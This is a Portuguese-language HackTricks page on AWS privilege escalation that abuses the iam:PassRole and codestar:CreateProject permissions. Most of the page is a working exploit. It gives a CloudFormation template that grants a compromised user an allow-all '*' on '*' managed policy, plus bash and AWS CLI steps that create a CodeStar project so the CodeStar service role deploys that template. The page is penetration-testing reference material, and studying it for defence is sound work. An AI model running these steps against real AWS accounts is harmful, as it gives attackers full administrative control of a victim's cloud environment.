iam:PassRole, codestar:CreateProject

Support HackTricks

Com essas permissões você pode abusar de um papel IAM do codestar para realizar ações arbitrárias através de um template de cloudformation.

Para explorar isso, você precisa criar um bucket S3 que seja acessível a partir da conta atacada. Faça o upload de um arquivo chamado toolchain.json. Este arquivo deve conter o exploit do template de cloudformation. O seguinte pode ser usado para definir uma política gerenciada a um usuário sob seu controle e dar permissões de admin:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Também faça o upload deste arquivo empty zip para o bucket:

Lembre-se de que o bucket com ambos os arquivos deve ser acessível pela conta da vítima.

Com ambas as coisas carregadas, você pode agora prosseguir para a exploitation criando um projeto codestar:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Este exploit é baseado no exploit Pacu dessas permissões: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.

Support HackTricks

Last updated